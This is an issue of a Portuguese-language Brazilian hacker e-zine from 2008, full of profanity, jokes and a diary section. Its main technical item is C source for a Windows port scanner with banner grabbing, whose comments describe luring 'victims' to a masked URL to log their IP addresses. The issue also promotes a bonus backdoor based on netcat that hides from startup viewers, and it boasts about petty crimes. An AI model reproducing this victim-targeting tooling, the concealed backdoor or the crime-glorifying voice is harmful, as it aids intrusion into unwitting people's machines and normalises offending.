<-----xx----------xxx----------xxx-----------xxxxx-----> Recomendo que voce visualize essa zine com o Firefox ou Internet Explorer ou Opera, visualizando o texto com tamanho 'normal' (isso se vc quiZer "perfeição" =). Ou até mesmo com o notepad usando Fonte Times New Roman, tamanho 12, estilo de fonte normal. Ah! Não se esqueça da 'Quebra automática de linha' ;-) <-----xx----------xxx----------xxx-----------xxxxx-----> []==-----------------x-------X----------x-----------------------==[] Atenção: Se voce sai por ai dizendo para as meninas que é hacker, fica contando papo que invadiu fulano de tal e desviou num sei o que (mesmo sendo verdade -> dificil seu lamah), ou se voce é um pirralho de + ou - 15 anos, faça um seguinte: Saia fora daqui, ou melhor -> Va da o cú seu lamah! []==-----------------x-------X----------x-----------------------==[] ===============DXXX=============================xxxxx======= ============================================================ ||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ||XXXXXXX VIPER CORP APRESENTA XXXXXXXXXXXXXXXX ||$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ||$$$$$[[[+ ========================================== ||$$$$$[[[+ ||$$$$$[[[+ ||$$$$$[[[+ -[+]------------------------[+]- ||$$$$$[[[+ C.O.D.E ||$$$$$[[[+ ||$$$$$[[[+ COMPUTADORES - ORGASMO - DESTRUIÇÃO - ||$$$$$[[[+ 'E-ZINES' ||$$$$$[[[+ [As 4 coisas que eu mais gosto na vida] ||$$$$$[[[+ ||$$$$$[[[+ -[+]----------[+]- ||$$$$$[[[+ \ | / ||$$$$$[[[+ [EU AMO NÃO TER BANNER oO -.- Oo] ||$$$$$[[[+ ||$$$$$[[[+ NÃO MANDE MAIS SEUS ASCIIs PARA ||$$$$$[[[+ ||$$$$$[[[+ ||$$$$$[[[+ [Talvez com psicologia reversa alguém ||$$$$$[[[+ possa enviar ASCIIs legais] ||$$$$$[[[+ ||$$$$$[[[+ ||$$$$$[[[+ ========================================== ||XXANO 1 - Nº02 00/00/2008 BY 6_Bl4ck9_f0x6 XXXXXXXXXX ||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ==================================================== ===============DXXX=============================xxxxx======= ----- C4p1Tul0 00 [=] + =========================================== + [=] Introdução (Hum... Introduzir tudo rsrs) [=] + =========================================== + [=] Olá galerinha do mal, sentiram saudades do tio fox? Depois de tanto tempo estou eu aqui escrevendo +1 edição da C.O.D.E. Achu que voces não aguentam mais ter duas introduções a cada edição Huahau!!! Po galera, é chato mesmo ter que ficar introduzindo em voces 2 coisas assim na lata hauhauha!!! Ei ei ei, espero que saibam que a primeira intro (essa que vc está lendo) é utilizada por mim para me desculpar pela demora desta e de outras eds que demorarem para sair (oO) e tals, a outra introdução já é falando do que vai ter na zine e falando sobre os BONUS!! que acompanham essa edição =) Bonus é legal, eu adoro bonus, compro chiclete só pra ter as figurinhas como bonus XP (-.- rsrs). Mas vamos lá, voces devem estar querendo saber porque a zine atrazou, mas espera ai!! Ei ei ei, já se passaram dois meses? Vixi, nem!!! Acho que to escrevendo ela sedo d+, vou indo, samana que vem eu continuo. ===================== Uma semana depois ===================== oi oi oi, voutei hauhauh!!! Nem!!! hauhauh!!! Enfim, onde eu parei? ah! Porque a sua, a minha, a nossa revista hacker do ano atrasou. Ei, antes de começar gostaria de dizer que um dia minha zine vai ser uma Axur05 da vida, vai ser uma rwx ou até mesmo uma thebug e tals, a medida que eu aprendo eu escrevo, ou seja, aqui voces vão ter todo meu conhecimento que a cada dia aumenta mais =) Sem contar que daqui uns dias o BSDaemon vai ta me pedindo autografo XP (Brincadeira, to brincando, calma rsrs). Porra!! Responde logo pq a zine atrazou!!! Bem, ela atrazou porque eu quiz, ponto. Xauzim. [+ ======X============X===============X===== +] INDICE [+ ======X============X===============X===== +] ########################################################## #Que a força esteja com voce jovem - Meu professor eh foda! #(star wars_) [-.-]. Meu professor gosta de fala isso para # zuar. Tenho que parar de tentar explicar besteira -.- ########################################################## [xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] #include ....................................../6_Bl4ck9_f0x6 #include ............................./6_Bl4ck9_f0x6 #include ......................................./6_Bl4ck9_f0x6 #include ................................../6_Bl4ck9_f0x6 #include ................................../6_Bl4ck9_f0x6 #include ......../6_Bl4ck9_f0x6 #include .........................../6_Bl4ck9_f0x6 #include ......./6_Bl4ck9_f0x6 #include ...................../6_Bl4ck9_f0x6 #include ......................../6_Bl4ck9_f0x6 #include ....................................../6_Bl4ck9_f0x6 #include ............................/6_Bl4ck9_f0x6 #include ......................./6_Bl4ck9_f0x6 #include ................................/6_Bl4ck9_f0x6 #include .........................................../6_Bl4ck9_f0x6 The End> ----- C4p1Tul0 01 [+] X======================================X +] FRASES DO DIA [+] X====================================== X+] ------------------------------ cut ---------------------------------------- Especial Murphy - O sabio dos sabios hauhauh!!! =================================================================== "Sorria... amanhã será pior." ===X====================X========================X================= "Se você está se sentindo bem, não se preocupe. Isso passa." ===X====================X========================X================= "Não importa o que sai errado, sempre dará a impressão de certo." ===X====================X========================X================= "Se a experiência funcionou na primeira tentativa, tem algo errado." ===X====================X========================X================= "Mais vale um pássaro na mão do que um voando sobre a nossa cabeça." ===X====================X========================X================= "Uma pessoa saudável é aquela que não foi suficientemente examinada." ===X====================X========================X================= "Tudo que é bom na vida é ilegal, imoral ou engorda." ===X====================X========================X================= "Por que será que números errados nunca estão ocupados?" ===X====================X========================X================= "Um atalho é sempre a distância mais longa entre dois pontos." ===X====================X========================X================= "Se você não está confuso, não está prestando atenção." ===X====================X========================X================= "Sexo leva muito menos tempo do que os problemas que dele decorrem." ===X====================X========================X================= "Sexo é como neve: você nunca sabe quantos centímetros vai atingir e o quanto vai durar." ===X====================X========================X================= "Sexo é hereditário: se seus pais não fizeram, há uma grande chance de você também não fazer." ===X====================X========================X================= "Você não pode gerar um bebê em um mês engravidando nove mulheres." ===X====================X========================X================= "Não vai doer, prometo." ===X====================X========================X================= "Na guerra, o inimigo ataca em duas ocasiões: quando ele está preparado, e quando você não está." ===X====================X========================X================= "Um plano de invasão ao quartel inimigo prova que você foi inteligente o bastante para planejar, estúpido o bastante para tentar, e sortudo o bastante se sobreviver." ===X====================X========================X================= "Sexo é uma das nove razões para a reencarnação, as outras oito não importam." ===X====================X========================X================= "Tudo leva mais tempo do que se pensa, a não ser no caso de ejaculação precoce." ===X====================X========================X================= "Você sabe que vai ser um dia ruim quando: - seu irmão gêmeo esquece o dia do seu aniversário; - você põe sua cueca ao contrário e sente que ficou mais confortável; - você acorda e descobre que seu colchão d’água está com vazamento, e então você descobre que não tem um colchão d’água." ===X====================X========================X================= "Amigos vêm e se vão, inimigos se acumulam." ===X====================X========================X================= "Cartas importantes que não contém nenhum erro serão despachadas em lugar errado. Cartas com erros aparecerão em duplicata na mesa do chefe." ===X====================X========================X================= "Uma maneira de se parar um cavalo de corrida é apostar nele." ===X====================X========================X================= "Toda partícula que voa sempre encontra um olho." ===X====================X========================X================= Não importa que voce caia, desde que voce apanhe algo no chao quando se levantar. ===X====================X========================X================= É quase sempre mais fácil entrar do que sair de qualquer coisa. ===X====================X========================X================= Voce pode observar muito só olhando. ===X====================X========================X================= Voce nunca pode identificar qual dos lados da torrada é o lado que se deve passar a manteiga. ===X====================X========================X================= Um objeto sempre cai de forma a causar o maior prejuízo possível. ===X====================X========================X================= Um contrato verbal é aquele que nao vale o papel em que seria escrito. ===X====================X========================X================= Nao importa o quando o produto custa, mas quanto voce ganha de desconto. ===X====================X========================X================= Arcebispo. Um eclesiástico cristão com o grau superior ao de Cristo. Puritaninsmo. O enorme medo de que alguém, em algum lugar, possa ser feliz. ===X====================X========================X================= Se é verdade, é biologia. Se fede, é química. Se não funciona, é fisica ===X====================X========================X================= Mal de cú é rola fina --> by Mario Miranda Magalhães ===X====================X========================X================= Sempre existe mais um bug =================================================================== ------------------------------ cut ---------------------------------------- [xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] [xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxx] [Vo da 3 tiro no seu suvaco pra voce morrer [achando graça infeliz!!!] [xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxxx] ##############X#############X############X############### Antenção: Essa e-zine é gratuita, se voce vender ela eu quero a minha parte. Tem que ser assim mano hauhau!!! O Derneval também faz isso. Se vender!!! Quero minha parte!!! ----- C4p1Tul0 02 [=] + ==========XXXX============ + [=] *** Emperial[ScanneR] *** [=] + ==========XXXX============ + [=] As vezes nos precisamos varrer algumas portas em um sistema X e nao temos uma ferrramenta pratica, simples e crua. Recorremos ao nmap apenas para ver algumas portinhas e tals, mas o nmap tem muitos componentes e o PC num é teu, dai complica extract for system32 caso voce nao saiba editar um PATH na sua vida :P, mas para evitar isso eu fiz esse scanner de portas simples e pratico. Quando nossa vitima é leiga se faz necessario a utilização de algum scanner qualquer para nos mostrar o que queremos, os scanners de portas. Usando TCP syn é muito facil detectar um scan, mas como sempre -> vitimas leigas nao contam <- Espero que voces gostem da ferramenta, ela está sendo muito util para mim. ---- Emp_scan.c ---- /* * Emperial[ScanneR] v0.1 by 6_Bl4ck9_f0x6 * * --> Windows <-- * * [X] ============X==============X===== [X] * XxX VIPER CORP GROUP XxX * <-> Underground Max <-> * [X] ============X==============X===== [X] * * Port Scanner TCP/HandShake * com Funcionalidades de * -> Footprint <- * * --------------------------------------------------------------- * [ -> Dedico essa ferramenta e todas as outras que surgirem <- ] * [ -> a todos os membros desse grupo de potencial, um abraço <- ] * [ -> a todos os caras do grupo e um beijo para todas as <- ] * [ -> minas, em especial a mais nova integrante do grupo <- ] * -> Mina Mistery <- * --> Espero que fique ao nosso lado por muito tempo. <-- * --------------------------------------------------------------- * * * Atenção: Para usar a funcionalidade de http footprint * Use: Emp_scan.exe http/footprint * * OBS: Deixe seu firewall abrir a porta 80 de seu host * para receber as conexões de suas vitimas. * * Use um redirecionador de URL e mascare seu IP. * Logo depois mande seu endereço Mascarado para * a vitima, quando a mesma acessar voce terá o * endereço IP dela e informações uteis para um * ataque mais ofensivo do que o FootPrint. Con- * sulte a documentação. Baixe-a em: * * http://www.hunterhacker.xpg.com.br/Emp_scan_Document.pdf */ // HTTP/FOOTPRINT EM DESENVOLVIMENTO!!!!!!!!!!! #include #include #include #include #include #define BADSTAT -1 #define BACKLOG 10 #define MINDHUNTER "http/footprint" int tsuder (void){ printf (" 6"); Sleep (200); printf ("_"); Sleep (100); printf ("B"); Sleep (200); printf ("l"); Sleep (100); printf ("4"); Sleep (200); printf ("c"); Sleep (100); printf ("k"); Sleep (200); printf ("9"); Sleep (100); printf ("_"); Sleep (200); printf ("f"); Sleep (100); printf ("0"); Sleep (200); printf ("x"); Sleep (200); printf ("6\n\n"); Sleep (100); } WSADATA dados; struct sockaddr_in vitima; struct sockaddr_in list_ing; char banner[255], my_footprint[255]; char buffer_received[255]; char httpfoot[sizeof (MINDHUNTER)]; int main (int argc, char *argv[]){ int x=0, i=0, size, check; int my_sock, connectx, door; char about[]=" Emperial[ScanneR] \n\n\ BY\n"; system ("cls"); if (argc==1){goto Smile;} /* Anti Stack Overflow: */ strncpy (httpfoot, argv[1], strlen (MINDHUNTER)); printf ("[%d] Protegido contra Stack Overflow\n", strlen (httpfoot)); if (strcmp (httpfoot, MINDHUNTER) == 0){ system ("cls"); system ("title HTTP FootPrint"); printf ("HTTP FootPrint by 6_Bl4ck9_f0x6\n\ Copyright 2006-2008 Viper Corp.\n\n"); printf ("======================================================\n"); printf ("%s\n", about); tsuder (); if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){ fprintf (stderr, "Erro ao iniciar dll's de socket!\n"); WSACleanup(); exit (BADSTAT);} my_sock = socket (AF_INET, SOCK_STREAM, 0); if (my_sock == -1){ perror ("Error socket!"); WSACleanup (); exit (BADSTAT);} list_ing.sin_family = AF_INET; list_ing.sin_port = htons (80); list_ing.sin_addr.s_addr = INADDR_ANY; memset(&list_ing.sin_zero,0,8); if (bind(my_sock, (struct sockaddr *)&list_ing, sizeof (list_ing)) == -1){ fprintf (stderr, "Erro ao Bindear porta!\n"); exit (BADSTAT);} fprintf (stdout, "Porta %d em Listening...", 80); if ((listen (my_sock, BACKLOG)) == -1){ system ("cls"); puts ("Ops! Nao consegui escutar\n"); return 0;} check = accept (my_sock,0,0); if (check==-1){ puts ("Problemas na conexao!\n"); return 1;} printf ("\n\nO endereco IP [%s] estabeleceu uma conexao na porta [%d]\n", inet_ntoa (list_ing.sin_addr), ntohs (list_ing.sin_port)); /* Fazer um looping para ele sempre voutar a escutar na porta e gravar no file os log's =) */ FILE *foot_log; if ((foot_log = fopen ("Foot_log.log", "a")) == NULL){ puts ("Nao consegui criar o arquivo de log,\n"); puts ("possivelmente por fauta de espaco no disco\n"); // Mas da pra visualizar na shell -> puts (buffer_received =) <- return (1);} recv (my_sock, buffer_received, strlen (buffer_received),0); fprintf (foot_log, "%d", buffer_received); puts ("\nArquivo de log criado com sucesso!\n"); fclose (foot_log); printf ("\n======================================================\n"); exit (BADSTAT);} Smile: if ((argc < 4) || (argc > 4)){ printf ("\nx===x==x=====x===x=====x==x===x==x==x==x===x\ ===xx==x==\n"); printf ("%s\n", about); tsuder (); fprintf (stderr, "Uso: %s \ \n\n", argv[0]); printf ("x===x==x=====x===x=====x==x===x==x==x==x===x\ ===xx==x==\n"); Sleep (200); exit (BADSTAT);} door = atoi (argv[2]); if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){ puts ("Problemas -> WSAStartup"); exit (BADSTAT);} printf ("%s\n", about); tsuder (); fprintf (stderr, "[X] ============X==============X===== [X]\n\n"); for (door;door<= atoi (argv[3]);door++){ my_sock = socket (AF_INET, SOCK_STREAM, 0); if (my_sock == -1){ perror ("Error socket!"); WSACleanup (); exit (BADSTAT);} vitima.sin_family = AF_INET; vitima.sin_port = htons (door); vitima.sin_addr.s_addr = inet_addr (argv[1]); for (x;x<8;x++){ vitima.sin_zero[x]=(char)0;} size = sizeof (vitima); SetConsoleTitle ("Varrendo usando TCP -> SYN "); connectx = connect (my_sock, (struct sockaddr *)&vitima, size); if (connectx == SOCKET_ERROR){ fprintf (stderr, "Porta [%d] fechada\n", door);} else { fprintf (stdout, "Porta [%d] Aberta <-- \n", door); puts ("\nBanner:\n"); if (recv (my_sock, banner, sizeof (banner), 0) < 0){ fprintf (stderr, "Erro ao recever banner!\n"); exit (BADSTAT);} puts (banner); FILE *scan_log; scan_log=fopen ("scan_log.txt", "a"); if (!scan_log){ perror ("\nErro ao abrir arquivo de log -> "); printf ("\n"); continue;} fprintf (scan_log, "Porta [%d] em [%s] Aberta\ \n", door, inet_ntoa (vitima.sin_addr)); fclose (scan_log);}} fprintf (stderr, "\n[X] ============X==============X===== [X]\n"); closesocket (my_sock); WSACleanup (); return (0); } ---- cut here ---- ----- C4p1Tul0 03 [=] + =========XXXX=========== + [=] Dedicatorias [=] + ==========XXXXX========= + [=] Dedico essa edição da C.O.D.E a minha amiga 'Linda' por me passar as respostas da prova de matematica, ao meu amigo Juvenil silva que mora em araporã - MG, que é inesquecivel em minha vida (mesmo ele esquecendo de mim) porque faziamos ritual de consagração de pentagrama em casas abandonadas com direito a vela vermelha, incenso e tudo mais Huahuah!! Bebiamos feito gambas e nem tinhamos grana pra voutar pra casa, pois iamos pra cidades vizinhas e gastavamos todo nosso dinheiro com pinga e conhaque huauhua!!! dae eu sempre tinha que recorrer a minha madrinha. Ah! e também passavamos cheque sem fundo em pizzarias e ainda queriamos troco hauhauh!!! Passavamos noites em lans bebendo cerveja e iamos nos finais de semana para um pomar cheirar cola com os punks Huahauh!!! Para conhecer essa figura procurem meu orkut pesquisando por 6_Bl4ck9_f0x6. Lembrando que eu e o juvenil também faziamos assaltos com arminha de brinquedo "quebrada"... huahauh!!! Esse cara é muito importante em minha vida =) Ainda lembro-me como se fosse ontem meus tempos de delinquente rsrs. E gostaria de dedicar a mais uma pessoa, nem preciso falar o que todo mundo já sabe rsrs, mas para quem não sabe gostaria de dizer que dedico + essa edição da zine 'principalmente' a minha amada, linda, maravilhosa, Patricia. Porque sempre me apoia mesmo eu estando errado (claro que depois de puxar minha orelha) e sempre está disposta a me tirar de enrrascadas (em todos os sentidos). Estou me referindo ao meu grande amor Luzinha =) Lu, essa zine é pra voce ;-) ----- C4p1Tul0 04 [=] + ===XX===CC=====c========= + [=] Palavras do autor [=] + ===XX===CC=====c========= + [=] Neste exato momento estou fumando um cigarro e bebendo uma loira gelada que roubei de meu padrasto, são exatamente 23:04 e hoje eu es pero escrever muito para publicar a zine o mais rapido possivel. Pra quem não sabe na seção 'Palavras do autor' eu escrevo tipo um diario , por isso não me importa que voces leiam, eu escrevo para masagear meu ego =) Os primeiros goles de cerveja são os melhores, depois ela começa a perder o sabor e voce começa a curtir o clima rsrs. Putz, não me sinto bem digitando com um cigarro na boca enchendo meus olhos de fumaça, mas é o geito. Espero do fundo do meu coração ficar bebado com essa garrafa, pois não bebo a algum tempo e meu organismo ta fraquim-fraquim, assim não preciso roubar a ultima garrafa no congelador rsrs, pois a bronca d manhã vai ser menor se eu tivesse pegado só uma, lembre-se que eu disse MENOR e não que ela não vai existir. Não tenho muito que falar aqui não, só queria que as pessoas entendesem que adolescente não precisa ser humilhado porque não trabalha e passa 24 horas por dia na frente do computador, tabom que eu num sou muito chegado a estudar e tals, detesto mecher com algo que eu não gosto, mas minha mãe não entende isso. Sem contar naquelas frazes tipicas de familia da classe menos privilegiada do globo capitalista: 'A energia esse mes eu não pago!! Vc tem que aprender, não faz nada na vida, só come, bebe e dorme. Eu não sou obrigada a sustentar marmanjo barbado.' Muitos de voces devem ter escutado essa frase ou algum dia escutarão, isso se voces são de classe baixa como eu. Ja os ricos nem precisão, porque tem o pão e terão o pão de cada dia sempre, não tenho muitas metas na vida, nem sei se viver tem graça mais depois que voce sabe que vai morrer. Teve um tempo que eu confiava nas pessoas, depois aprendi a falar e a caminhar. A triste realidade em que vivemos nos faz cometer crimes, tenho varios amigos presos porque desviaram grana dos mais favorecidos por assim dizer, mas ninguem ver que eles fizeram isso porque não tinham escolha, no Brasil minha gente... ô da, ou dece. Preciso de uma razão para viver, preciso de algo para acordar e saber que aquilo vai me dar prazer, e essa sensação eu encontrei na informatica, encontrei na frente de um computador para ser mais exato. Eu amo ler os papers do Nash, as vezes tem coisas que eu não entendo, mas sou tão esforçado que passo horas e horas olhando para aquele codigo e tento chutar o que seja. Voces sabem qual é o prin cipal problema de um autodidata (pra quem não sabe, os autodidatas são aqueles caras que aprendem as coisas sozinhos)? É que nos queimamos muitas etapas em qualquer tipo de aprendizagem, nos aprendemos coisas avançadas e quando nos perguntam coisas basicas apenas falamos que não sabemos, mas porque? Porque não temos quem nos ensine do começo, ou até pode existir algum texto em algum lugar que tenha, mas nós não os encontramos para ler ou quando encontramos passamos para o final, talvez por anciedade (que é o meu caso) ou simplesmente porque temos certeza que entenderemos sem precisar ler o basico. Nessa porra de cidade que eu moro nem se quer tem um cursinho de C, ou Assembly, temos que ralar pra conseguir aprender algo, isso é foda!! Resolvi escrever essa zine para protestar contra "fauta de informação intuitiva" para quem ta começando... Nossa!! Acho que a cerveja ja ta me pegando, e isso é bom, muito bom achei que não conseguiria ficar nem tonto com uma garrafa, mas agora eu realmente expresso o que eu sinto. Muitos que conseguiram acesso a essa zine são de classe media ou media alta, pois os menos privilegiados nem acesso a net conseguem, esse é o publico que eu quero alcançar. Escrevo um monte de texto para o pessoal, ja fiz muito texto bom caras, nem quero fama nem nada, pois quem me conhece sabe que nem faço textos por fama justamente porque troco de nick como quem troca de cueca. Quero ajudar as pessoas que assim como eu querem um material legal, que seja objetivo e que não precisem procurar muito para encontrar, por isso gosto de fazer algumas receitas de bolo PARA INDUZIR O INICIANTE A APRENDER. Tem neguinho ae que me chama pra arrumar os PCs deles eu vou e descolo uma grana, mas quando vou ver.... num tenho mais nada!! Mundo capitalista da porra, as pessoas poderiam viver de troca como antigamente, se bem que eu contribuo muito com minha situação financeira eheh, bebia feito um gamba e gastava minha grana pagando cerveja pra putas, e ae, que futuro essa porra me deu? Tenho 18 anos e nem futuro eu to vendo, não quero passar minha vida vivendo as custas de minha mae, gostaria de um emprego em que o empregado só precisasse ter o primeiro ano e pronto. A unica coisa que me doi e saber que meu cigarro acabou e eu nem tenho um tustão furado no bolso, eu olho pros lados e digo: Caramba!!! Cacete!!! hauhauha!!! Tenho nojo de escola, juro por deus que seu eu pudesse eu tacava fogo naquela porra. Ops, ja to legal e to escrevendo d+, mas vou buscar a ultima cerveja, eu quero é passar mal!!!! Vamos aos textos a noite vai ser longa, vou adaptar alguns textos que escrevi e criar coisas novas, vamos botar a mão na massa =) --------------------------------------- Acabou de acontecer comigo ========================== Eu acabei de matar uma lagartixa gigantesca -.- Nem queria, fui deixar a garrada vazia e quando fechei uma portinha de madeira que tem aqui em casa acabei esmagando a coitada -.-. Sou um assasino -.-, a coitada ta la na cozinha agonizando com suas tripas pra fora e com certeza as formigas ja devem ta de olho, bem feito pra ela. Foda foi o susto cara, dei um pulo pra traz porque morro de medo dessas paradas que se mechem e que apareceram na terra de forma inexplicavel. Pq deus fez as baratas e as lagartixas? ----- C4p1Tul0 05 [=] + =======xx==============xx=========== + [=] XX -> Introdução a zine <- XX [=] + =======xx==============xx=========== + [=] Hi! Nessa edição temos uma super entrevista com nada mais nada menos que: Marcos Flavio Araujo Assunção, é isso ae mano, espero que gostem =) Vai anexado a zine um tutorial Bonus com shots e tudo mais (rsrs) onde estou mostrando como remover aqueles virus e trojans de quinta categoria. Lembrando: A algum tempo DESENVOLVI uma forma de inutilizar os olhos humanos caso alguem queira visualizar os valores sequenciais nas chaves de registro do windows ou visualizar o que está se iniciando na maquina com algum visualizador de coisas que se iniciam... ? ... Peguei pesado agora, isso que eu chamo de não achar as palavras certas \O/. Enfim, caso algum maluco use o process view ou qualquer outro visualizador de coisas que se iniciam (.... ? ... Olha eu de novo) não vai ver nada... Bah! Leiam a CODEx00 e procurem informações com relação a essa técnica, procurem na seção 'BackDoor Camuflagem for avast! antivirus'. Vale lembrar que voce pode usar essa técnica para qualquer coisa que se inicie na maquina =) Ah! essa técnica que até pouco tempo não tinha nome vai ser chamar de agora em diante: 'Patricia' =) O camuflagem é um backdoor baseado no netcat que se utiliza desta técnica para se esconder do pessoal =) OBS: A técnica é minha, se existir algum maluquinho divulgando ela e não postando os creditos vai rolar ai uma perceguiçãozinha a esse sugeito. Se voce tem uma ex-namorada chamada Patricia que te traiu com um negão e voce não gosta de ver esse nome NA MINHA TÉCNICA, gostaria de mandar voce se fuder!!! Porque a técnica é minha e eu chamo como eu quiZer, moro? Mas espera aí!!! Porque voce ta falando nisso agora? Aham!!! Eu resolvi compilar e disponibilizar o executavel para voces na zine como bonus ;-) Obvio que voce não vai sair por ai executando as coisas sem ver o que se encontra dentro dele e tals, por isso eu compilei com o Quick Batch File Compiler e a senha é 'tsuder', mas nem esquentem que tem um file junto com o 'exe' que tb mostra a senha e mostra algumas instruções de uso. Tipo, não gostei de ver o caras da revista CHMOD fazendo algo "parecido", mas que seja, tipo... Desenvolvi a patricia no natal de 2007, tenho provas (E COMO TENHO) que o post é antigo, os caras a + ou - umas duas semanas publicam a revista pegando um legitimo executavel (provalmente) e dizendo que sabem fazer a patricia, ou seja, o placker devia olhar mais essas coisas cara, tipo... sei lá, coincidência? Acho que isso ta + pra plagio! Nesta ed da C.O.D.E temos ainda uns cursinhos legais e muuuuuuuuita informação para voce amigo, porque o que diferencia a C.O.D.E das outras zines é que temos muuuuuito conteudo =) ----- C4p1Tul0 06 [+ ====================================== +] X xX ESPECIAL C.O.D.E XxX + Zines de ontem e de hoje + [+ ====================================== +] Venha conhecer o fantastico mundo das e-zines Hacker baby =) Não é de hoje venho falando sobre essas verdadeiras belezinhas da literatura, não é segredo pra ninguem que sou um apaixonado por essas porras que normalmente são distribuidas em 'txt', eu simplesmente viajo caras, é muito bacana voce le essas paradas. Ae vai mais zines para voces curtirem pessoal. Ei! Vale lembrar que nas edições anteriores da C.O.D.E foram mais dezenas de links para outras zines e por isso recomendo que de uma olhadinha nas outras eds também, porque A DESTRUIÇÃO NÃO PODE PARAR PORRA!!! =============== Starting.... Essa primeira zine do especial C.O.D.E eu postei lá no forum-invaders.com.br, com seu respectivo comentario, vá da uma olhada lá e veja o que essa humilde zine significa para nossa historia irmãos. Está é a PRIMEIRA ZINE 'HACKER' DO Brasil!!! ____ _ ______ _ _ _ | _ \ | | | ____| | | | (_) | |_) | __ _ _ __ __ _| |_ __ _ | |__ | | ___| |_ _ __ _ ___ __ _ | _ < / _` | '__/ _` | __/ _` | | __| | |/ _ \ __| '__| |/ __/ _` | | |_) | (_| | | | (_| | || (_| | | |____| | __/ |_| | | | (_| (_| | |____/ \__,_|_| \__,_|\__\__,_| |______|_|\___|\__|_| |_|\___\__,_| BARATA ELETRICA, numero 0 Sao Paulo, 3 de dezembro de 1994 Bienio Poli - Sala 23 Cidade Universidade http://www.hunterhacker.xpg.com.br/barata00.zip http://www.hunterhacker.xpg.com.br/barata01.zip http://www.hunterhacker.xpg.com.br/barata02.zip http://www.hunterhacker.xpg.com.br/barata03.zip http://www.hunterhacker.xpg.com.br/barata04.zip http://www.hunterhacker.xpg.com.br/barata05.zip http://www.hunterhacker.xpg.com.br/barata06.zip http://www.hunterhacker.xpg.com.br/barata07.zip http://www.hunterhacker.xpg.com.br/barata08.zip http://www.hunterhacker.xpg.com.br/barata09.zip http://www.hunterhacker.xpg.com.br/barata10.zip http://www.hunterhacker.xpg.com.br/barata11.zip http://www.hunterhacker.xpg.com.br/barata12.zip http://www.hunterhacker.xpg.com.br/barata13.zip http://www.hunterhacker.xpg.com.br/barata14.zip http://www.hunterhacker.xpg.com.br/barata15.zip http://www.hunterhacker.xpg.com.br/barata16.zip http://www.hunterhacker.xpg.com.br/barata17.zip http://www.hunterhacker.xpg.com.br/barata18.zip http://www.hunterhacker.xpg.com.br/barata19.zip http://www.hunterhacker.xpg.com.br/barata20.zip http://www.hunterhacker.xpg.com.br/barata21.zip http://www.hunterhacker.xpg.com.br/barata22.zip http://www.hunterhacker.xpg.com.br/barata23.zip http://www.hunterhacker.xpg.com.br/barata24.zip http://www.hunterhacker.xpg.com.br/barata25.zip http://www.hunterhacker.xpg.com.br/barata26.zip http://www.hunterhacker.xpg.com.br/barata27.zip http://www.hunterhacker.xpg.com.br/barata28.zip ============================================ zZZZZZZZZZZZZZZZz zZ cCCCCCCCCc sSSSSSSSSs zZ cCCCCCCCCCCCCc sSSSSSSSSSSSSs zZ cCCC CCCCc sSSS SSSSs zZ cCCCc SSSSs zZ II NNn NN EEEEE CCCCC SSSSSSSSSSs zZ II NNNn NN EE CCCCC SSSSSSSSSs zZ II NN NnNN EEEE CCCCC SSSSS zZ II NN NNN EE CCCC CCCCc sSSSS SSSS zZ II NN NN EEEEE CCCCCCCCCCCCCC SSSSSSSSSSSSSS zZ CCCCCCCCCC SSSSSSSSSS zZ zZ zZ zZZZZZZZZZZZZZZZZz PS: Se você não conseguiu lêr direito, aí em cima tah escrito CSZine. Caras, não tenho palavras para descrever uma elite, elite é elite, ou em outras palavras: elite é foda!!!!!!! Um dia eu conheço esse maluco pessoalmente, o cara é muito, muito foda!!!! Lembram que postei links para a F3 na C.O.D.Ex00? Essa ae também é uma zine do Cheat Struck, essa foi a primeira zine que ele escreveu, depois ele passou anos e mais anos trancado em um quarto (hauhauh!!!) estudando para escrever uma mais avançada, ai surgiu a 'F3' que virou uma lenda das e-zines hacker brasileiras. Espero que gostem dessa e-zine, pois eu gosto muito. Lembrando que essa e-zine É RARA!!! Totalmente dificil de se encontrada, mas a C.O.D.E está aqui é para trazer raridades para voces amigos =) Ah! Elite é foda!!!!!!!!!!!!!!!! http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_01.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_02.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_03.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_04.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_05.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_06.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_07.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_08.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_09.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_10.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_11.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_12.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_13.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_14.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_15.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_16.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_17.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_18.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_19.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_20.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_21.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_22.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_23.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_24.txt http://www.hunterhacker.xpg.com.br/Cheat_Struck_Zine_25.txt ----- C4p1Tul0 07 [=] + =======xx==============xx=========== + [=] Programando em 